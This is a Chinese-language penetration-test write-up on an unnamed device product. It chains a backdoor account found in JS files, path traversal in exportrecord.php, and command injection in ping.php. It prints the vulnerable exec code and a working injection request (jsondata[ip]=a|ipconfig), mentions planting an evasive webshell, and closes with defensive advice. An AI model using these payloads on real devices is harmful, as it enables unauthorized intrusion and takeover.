某设备产品漏洞挖掘-从JS文件挖掘RCE
字数 1168 2025-08-03 16:46:33
某设备产品漏洞挖掘:从JS文件挖掘RCE漏洞分析
前言
本文详细记录了一次针对某设备产品的渗透测试过程,通过分析JS文件发现后门账户,进而挖掘出任意文件读取漏洞和远程命令执行漏洞(RCE)的全过程。
信息收集阶段
初始发现
- 目标设备登录页面存在滑块验证和账号密码请求包加密
- 直接分析JS文件中的密码加密方法较为困难,转而寻找其他接口
目录枚举技巧
- 目录存在性判断:当目录存在时会自动在后面加上
/,例如访问/js会变成/js/ - 状态码判断:403状态码表示目录存在但无访问权限
- 使用工具:Gobuster进行目录爆破
爆破结果
/js/ (Status: 403)
/lan/ (Status: 403)
/php/ (Status: 403)
/images/ (Status: 403)
/html/ (Status: 403)
/vendors/ (Status: 403)
/upload/ (Status: 403)
JS文件分析重点
重点关注js与php目录下的文件:
- 爆破
js目录下的JS文件 - 使用爬虫遍历JS文件并下载到本地分析
- 关键发现:
/js/index.js文件中包含敏感信息(可能是后门账号或默认密码)
漏洞挖掘阶段
第一阶段:任意文件读取漏洞(exportrecord.php)
发现过程
- 在
backup.js文件中发现下载接口:
function downloadBak(index) {
var data = $('#backupList').bootstrapTable("getData");
if (index >= 0 && index < data.length) {
var downurl = '../php/exportrecord.php?downname=' + data[index].id;
window.open(downurl);
}
}
- 测试
downname参数:
/php/exportrecord.php?downname=exportrecord.php
漏洞原理
downname参数未对../符号进行过滤,导致目录遍历- 可读取服务器上任意文件内容
利用方法
- 通过目录爆破获取更多PHP文件名
- 使用文件读取漏洞获取这些PHP文件的源代码
第二阶段:远程命令执行漏洞(ping.php)
发现过程
- 通过目录爆破发现
ping.php文件 - 使用文件读取漏洞获取其源代码
漏洞代码分析
function systemopr($type, $ip, $times=4){
$info = array();
if (PATH_SEPARATOR==':' || DIRECTORY_SEPARATOR=='/'){
//linux
if($type == "0"){
exec("ping -c $times $ip", $info);
}else if($type == "1"){
exec("traceroute -m $times -w 1 $ip", $info);
}else{
exec($ip, $info);
}
}else{
//windows
if($type == "0"){
exec("ping $ip -n $times", $info);
}else if($type == "1"){
exec("tracert -h $times -w 1000 $ip", $info);
}else{
exec($ip, $info);
}
}
return $info;
}
漏洞原理
- 接收
jsondata数组中的ip参数,用户可控 - 直接拼接进
exec函数执行 - 执行结果会返回页面,导致回显型RCE
利用方法
- Windows系统下测试:
POST /php/ping.php
jsondata[ip]=a|ipconfig&jsondata[type]=1
- 写入Webshell:
- 使用免杀且流量加密的Webshell
- 尝试获取目标设备权限
总结与防御建议
漏洞链总结
- 通过JS文件发现后门账户 → 获取后台权限
- 分析JS文件发现文件下载接口 → 发现任意文件读取漏洞
- 利用文件读取获取其他PHP文件源码 → 发现RCE漏洞
- 最终获取设备完全控制权
防御建议
-
JS文件安全:
- 避免在JS文件中存储敏感信息
- 对前端代码进行混淆和压缩
-
文件下载接口:
- 严格过滤用户输入,禁止目录遍历字符
- 限制可下载的文件路径和类型
-
命令执行函数:
- 避免直接使用用户输入拼接命令
- 使用白名单验证输入参数
- 使用特定API替代通用命令执行函数
-
权限控制:
- 最小权限原则,限制后台功能权限
- 定期审计账户,删除不必要的特权账户
-
日志监控:
- 记录所有文件访问和命令执行操作
- 设置异常行为告警机制
复现注意事项
- 复现时发现
echo命令可能无法直接写入文件,需要寻找替代方法 - 不同系统环境(Linux/Windows)下利用方式可能有所不同
- 实际渗透中可能需要结合更多技术绕过防护措施